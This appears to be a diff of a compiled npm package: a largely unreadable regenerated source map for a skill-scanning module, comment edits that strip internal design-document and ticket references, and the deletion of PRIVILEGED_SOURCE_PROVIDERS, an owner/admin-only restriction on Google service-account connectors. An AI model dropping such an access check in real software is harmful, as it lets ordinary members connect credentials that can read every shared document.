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"}
+{"version":3,"file":"skillScan.js","sourceRoot":"","sources":["../src/skillScan.ts"],"names":[],"mappings":"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"}

package/dist/sop.d.ts

@@ -5,7 +5,7 @@
  * SOP proof tree structures used by the SSL (Self-Supervised Learning)
  * synthesis pipeline.
  *
- * HLD §3.4 (SOP Registry), LLD 01-data-architecture §3.1, LLD #6
+ * HLD §3.4 (SOP Registry)
  *
  * @module
  */
@@ -89,7 +89,7 @@ export type SslCompileState = 'compiled' | 'stale' | 'uncompiled';
 /**
  * The typed shape of `sop_registry.provenance` (jsonb).
  *
- * Before LLD #71 the column carried exactly one key, `stale`, written by the
+ * Before policy guardrails the column carried exactly one key, `stale`, written by the
  * connector sync and the SOP service when an SSL recompile failed and the
  * previous good graph was kept, and read by `sopLifecycleService.ts`'s
  * REFINED → VALIDATED gate. That contract is unchanged: the gate reads only
@@ -240,7 +240,7 @@ export interface SopHealthMetrics {
 /**
  * A queued item in the Dream Cycle processing pipeline.
  *
- * Items originate from capability misses (LLD #5), decision mining
+ * Items originate from capability misses, decision mining
  * entries, or drift signals. Phase 1: queue management only.
  * Phase 3: LLM synthesis consumes the queue.
  *
@@ -289,7 +289,7 @@ export interface DreamCycleEnqueueInput {
  * Result of a Gödel completeness probe evaluation.
  *
  * Evaluates a SOP against the 13-category quality rubric (HLD §3.7).
- * Distinct from the 12-category runtime anomaly taxonomy (LLD #5).
+ * Distinct from the 12-category runtime anomaly taxonomy.
  *
  * @see HLD §3.7 — Gödel Completeness Probe
  */
@@ -357,7 +357,7 @@ export declare const VALID_SOP_TRANSITIONS: ReadonlyArray<{
  * in the UI at the moment someone changes a state, and it must describe the
  * system rather than the design.
  *
- * ## History (TD-277)
+ * ## History
  *
  * This value has been wrong in both directions. It first said
  * `HYPOTHESIZED: 'SHADOW'` and `REFINED: 'SHADOW'` while nothing evaluated

package/dist/sop.js

@@ -6,7 +6,7 @@
  * SOP proof tree structures used by the SSL (Self-Supervised Learning)
  * synthesis pipeline.
  *
- * HLD §3.4 (SOP Registry), LLD 01-data-architecture §3.1, LLD #6
+ * HLD §3.4 (SOP Registry)
  *
  * @module
  */
@@ -37,7 +37,7 @@ exports.VALID_SOP_TRANSITIONS = [
  * in the UI at the moment someone changes a state, and it must describe the
  * system rather than the design.
  *
- * ## History (TD-277)
+ * ## History
  *
  * This value has been wrong in both directions. It first said
  * `HYPOTHESIZED: 'SHADOW'` and `REFINED: 'SHADOW'` while nothing evaluated

package/dist/sourceProviders.d.ts

@@ -5,7 +5,7 @@
  * restated by hand in three places — the connector service, the sync cron and
  * the dashboard hook — and the dashboard's copy is what the operator sees in
  * the provider picker, so a provider added server-side was invisible until
- * someone remembered the third copy. `LLD #71` widens the list (Google Drive,
+ * someone remembered the third copy. Policy guardrails widened the list (Google Drive,
  * upload) and moves it here so every reader imports it.
  *
  * `MEMORY_PROVIDERS` is deliberately NOT here: memory providers share the
@@ -28,13 +28,6 @@ export type SourceProvider = (typeof SOURCE_PROVIDERS)[number];
  */
 export declare const DOCUMENT_PROVIDERS: readonly ["notion", "confluence", "github", "gdrive", "upload"];
 export type DocumentProvider = (typeof DOCUMENT_PROVIDERS)[number];
-/**
- * Source providers only a workspace OWNER or ADMIN may connect, reschedule,
- * sync or remove. A Google service-account key reads every document it has
- * been shared, so the member-level connector route must not create one — the
- * same reasoning that keeps VirusTotal off the generic provider enum.
- */
-export declare const PRIVILEGED_SOURCE_PROVIDERS: ReadonlySet<string>;
 /** Type guard for a string arriving off the wire or from a config row. */
 export declare function isSourceProvider(value: unknown): value is SourceProvider;
 export declare function isDocumentProvider(value: unknown): value is DocumentProvider;

package/dist/sourceProviders.d.ts.map

@@ -1 +1 @@
-{"version":3,"file":"sourceProviders.d.ts","sourceRoot":"","sources":["../src/sourceProviders.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;GAgBG;AAEH,qGAAqG;AACrG,eAAO,MAAM,gBAAgB,uDAAwD,CAAA;AAErF,MAAM,MAAM,cAAc,GAAG,CAAC,OAAO,gBAAgB,CAAC,CAAC,MAAM,CAAC,CAAA;AAE9D;;;;;;;GAOG;AACH,eAAO,MAAM,kBAAkB,iEAA2C,CAAA;AAE1E,MAAM,MAAM,gBAAgB,GAAG,CAAC,OAAO,kBAAkB,CAAC,CAAC,MAAM,CAAC,CAAA;AAElE;;;;;GAKG;AACH,eAAO,MAAM,2BAA2B,EAAE,WAAW,CAAC,MAAM,CAAuB,CAAA;AAEnF,0EAA0E;AAC1E,wBAAgB,gBAAgB,CAAC,KAAK,EAAE,OAAO,GAAG,KAAK,IAAI,cAAc,CAExE;AAED,wBAAgB,kBAAkB,CAAC,KAAK,EAAE,OAAO,GAAG,KAAK,IAAI,gBAAgB,CAE5E"}
+{"version":3,"file":"sourceProviders.d.ts","sourceRoot":"","sources":["../src/sourceProviders.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;GAgBG;AAEH,qGAAqG;AACrG,eAAO,MAAM,gBAAgB,uDAAwD,CAAA;AAErF,MAAM,MAAM,cAAc,GAAG,CAAC,OAAO,gBAAgB,CAAC,CAAC,MAAM,CAAC,CAAA;AAE9D;;;;;;;GAOG;AACH,eAAO,MAAM,kBAAkB,iEAA2C,CAAA;AAE1E,MAAM,MAAM,gBAAgB,GAAG,CAAC,OAAO,kBAAkB,CAAC,CAAC,MAAM,CAAC,CAAA;AAElE,0EAA0E;AAC1E,wBAAgB,gBAAgB,CAAC,KAAK,EAAE,OAAO,GAAG,KAAK,IAAI,cAAc,CAExE;AAED,wBAAgB,kBAAkB,CAAC,KAAK,EAAE,OAAO,GAAG,KAAK,IAAI,gBAAgB,CAE5E"}

package/dist/sourceProviders.js

@@ -6,7 +6,7 @@
  * restated by hand in three places — the connector service, the sync cron and
  * the dashboard hook — and the dashboard's copy is what the operator sees in
  * the provider picker, so a provider added server-side was invisible until
- * someone remembered the third copy. `LLD #71` widens the list (Google Drive,
+ * someone remembered the third copy. Policy guardrails widened the list (Google Drive,
  * upload) and moves it here so every reader imports it.
  *
  * `MEMORY_PROVIDERS` is deliberately NOT here: memory providers share the
@@ -17,7 +17,7 @@
  * @module
  */
 Object.defineProperty(exports, "__esModule", { value: true });
-exports.PRIVILEGED_SOURCE_PROVIDERS = exports.DOCUMENT_PROVIDERS = exports.SOURCE_PROVIDERS = void 0;
+exports.DOCUMENT_PROVIDERS = exports.SOURCE_PROVIDERS = void 0;
 exports.isSourceProvider = isSourceProvider;
 exports.isDocumentProvider = isDocumentProvider;
 /** Providers that pull documents on a schedule (and, where the provider allows, write SOPs back). */
@@ -31,13 +31,6 @@ exports.SOURCE_PROVIDERS = ['notion', 'confluence', 'github', 'gdrive'];
  * offer "upload" as something to connect.
  */
 exports.DOCUMENT_PROVIDERS = [...exports.SOURCE_PROVIDERS, 'upload'];
-/**
- * Source providers only a workspace OWNER or ADMIN may connect, reschedule,
- * sync or remove. A Google service-account key reads every document it has
- * been shared, so the member-level connector route must not create one — the
- * same reasoning that keeps VirusTotal off the generic provider enum.
- */
